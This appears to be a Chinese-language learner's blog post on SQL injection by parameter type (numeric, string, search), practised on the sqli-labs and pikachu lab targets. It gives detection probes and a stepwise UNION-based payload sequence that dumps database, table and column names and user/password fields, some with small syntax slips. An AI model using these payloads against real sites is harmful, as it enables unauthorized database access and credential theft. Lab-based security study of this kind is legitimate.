sql注入之提交参数类型小结
今天开始正式学习sql注入方面的知识了,闲话短说,直接上货。
注:试验靶场为sqli-labs、pikachu,具体安装百度一下,很简单,不多说了。
1.数字型
简单说,提交参数为数字,如下图
提交的数字参数不同,显示的结构不同,我们去查看源码,可以看到他的查询语句。
直接将我们提交的id值带入查询,并返回数据库中对应的数据,由于我设置了语句显示,所以更加直观。
2.字符型
平时我们在网上见到的字符型url
例如https://xxxx.com/?id=lib,id后面带的不是数字,而是其他参数(当然这只是常见,不是绝对啊),我们返回靶场的第二关,来研究一下字符型提交。
依旧查看源代码,修改为回显sql语句
和数字型比较,我们就发现了一个不同之处,我们输入的参数1,被两个单引号包围了。
我们使用最常用的and1=2进行判断,发现没有显示报错。
这是因为输入的值和判断语句全部被单引号包含其中,变成了单纯的字符串,达不到原有的效果。
这时候我们就要使用闭合,使原有的判读语句生效。
当然,这里的不单单只有引号这种干扰我们,平时还会见到'',"",%,),}等等,就例如sqli靶场的第三关,思路已经有了,就看各位操作了。
3.搜索型
这里以pikachu靶场为例,老样子,修改源码,使其回显。
可以直观的看到,搜索型的查询语句是这样的
select * from user where name like '%M9%'
这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了
sql注入就这样产生了。
下面分享一些搜索型注入判断小技巧
-
搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
根据两次的返回情况来判断是不是搜索型文本框注入了
查询语句也简单说一下,就按搜索型注入简单总结一下。
1.判断字段数:
’ order by 1 and ‘%’=’
2.判断字段显示位置:
%’ union select 1,2,3,4,5 and ‘%’=‘
3.爆库名:
%’ union select 1,2,(select database()),4,5 and ‘%’=‘
4.爆表名:
%’ union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=‘database’),4,5 and ‘%’=‘
5.爆数据:
%’ union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=‘database’ and table_name=‘table’),4,5 and ‘%’=‘
6.爆字段:
%’ union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and ‘%’=‘
相信你们聪明的脑袋看一下就明白了,如果不熟悉,还是要在靶场练习一下下。